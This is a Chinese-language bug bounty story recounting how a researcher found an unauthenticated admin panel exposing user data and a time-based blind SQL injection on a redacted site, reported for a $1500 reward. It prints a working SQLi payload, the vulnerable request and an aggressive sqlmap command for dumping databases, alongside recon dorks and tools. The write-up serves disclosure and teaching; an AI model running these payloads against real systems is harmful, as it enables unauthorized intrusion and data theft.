白帽故事 · 2023年10月19日 0

快速发现未授权页面及SQL注入漏洞,获得$1500奖励

背景介绍

今天分享一个国外白帽子如何发现未授权访问页面以及SQL注入漏洞的故事。他发现这两处漏洞并没有花费太多的时间,而使用到的工具也是大家熟知的以下几款:

  • Subfinder
  • Httpx
  • Waybackuls
  • Dirseacher
  • Sqlmap

寻找漏洞赏金计划

首先白帽小哥通过Google Dork 和Github来寻找感兴趣的漏洞赏金计划:

inurl:/bug bounty
inurl:/security
inurl:security.txt
inurl:security "reward"
Bug Bounty program "reward"
inurl:/responsible disclosure
inurl:/responsible-disclosure/ reward
inurl:/responsible-disclosure/ swag
inurl:/responsible-disclosure/ bounty
responsible disclosure "reward" site:com
responsible disclosure hall of fame
"powered by bugcrowd" -site:bugcrowd.com
"submit vulnerability report"
"submit vulnerability report" | "powered by bugcrowd" | "powered by hackerone"

通过一番搜索,白帽小哥通过过滤结果,将目标锁定在几周或几个月前发布的应用程序上:

file

发现管理面板

在搜索漏洞之前,白帽小哥首先使用Subfinder和 Httpx 进行子域搜索,通过子域状态代码发现目标站点存在多个活跃子域:
file

其中一个子域名xeon4.redacted.com,响应状态200,但当打开该子域名页面时,页面显示了以下文本:
file

没有显示任何有用的内容。于是白帽小哥继续使用 Waybackurl 搜索该站点,结果只显示了robots.txt 文件 ,小哥有点失望。于是开始在 Dirsearch 的帮助下进行目录探测。

很快Dirsearch便返回了一个/adminpage的目录,白帽小哥心想也许是一个需要用户名/密码登录的管理界面。但当打开该页面时,小哥被惊讶到了,居然无需任何用户名密码就进入了管理面板:

file

正如上面所见到的,在管理面板上还有进入其它页面的登录凭据,还有几个页面显示其它用户的敏感信息:电子邮件、信用卡、地址等。

发现SQL注入

在找到未授权管理页面后,白帽小哥并未就此止步,而是决定继续寻找其它漏洞。小哥很快发现从上面的未授权管理页面发现了另一个子域:

file

访问上面的子域链接,页面显示了一个表单,可以在其中搜索文档:

file

而在文档搜索时拦截请求,发现 directform 参数存在 SQL 注入攻击漏洞,通过后续测试发现确实存在 SQL基于时间的盲注漏洞,Payload如下:

'XOR(if(now()=sysdate()%2Csleep(15)%2C0))XOR'Z 

具体请求包:

POST /xxxx/repository/xxxx? HTTP/2
Host: secure.redacted.com
Cookie: cookie
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 77
Origin: https://secure.redacted.com
Referer: https://secure.redacted.com/xxxx/repository/xxxxx?
[...]

password=xxxxxx&directform=vulnerabilityhere

服务器响应:

file

于是果断拿出Sqlmap:

sqlmap -r request.txt -p directform — random-agent — level 5 — risk 3 — dbs — threads=10 

file

bingo!小哥第一时间向厂商提交了漏洞报告,经过几周的漫长等待,最终小哥成功获得共计1500美元的赏金奖励。

file